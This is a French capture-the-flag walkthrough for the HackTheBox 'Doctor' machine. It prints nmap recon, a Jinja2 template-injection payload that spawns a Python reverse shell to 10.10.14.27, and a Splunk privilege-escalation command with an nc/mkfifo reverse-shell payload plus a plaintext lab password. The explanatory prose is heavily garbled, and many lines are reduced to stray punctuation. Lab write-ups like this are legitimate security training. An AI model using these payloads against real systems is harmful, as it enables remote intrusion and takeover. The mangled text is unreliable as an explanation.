Je continue à publier des solutions envoyées pour la finalisation des machines depuis la plateforme HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter depuis un ordinateur de travail ou depuis un hôte où il y a des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information :)
Informations organisationnelles
Recon
IP 10.10.10.209, /etc/hosts.
10.10.10.209 doctor.htb
. , - :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
.
/etc/hosts.
10.10.10.209 doctors.htb
, .
Entry Point
.
, .
.
, , XSS.
, .
, <item><title>. , .
, .
XSS, , SSTI. .
:
</title></item>{{77}}
</title></item>{{7'7'}}
</title></item>{{config.items()}}
. SSTI , :
{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
:
import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
. :
</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
USER
adm, . Apache pas, secret ..
Et nous trouvons une chaîne intéressante qui est le mot de passe de l'utilisateur.
Maintenant que nous avons les informations d'identification, essayons d'élever les privilèges en exploitant le service Splunk fonctionnant sur le port 8089. Nous utiliserons cet exploit (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).
python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
Et nous obtenons une rétroconnexion avec notre auditeur.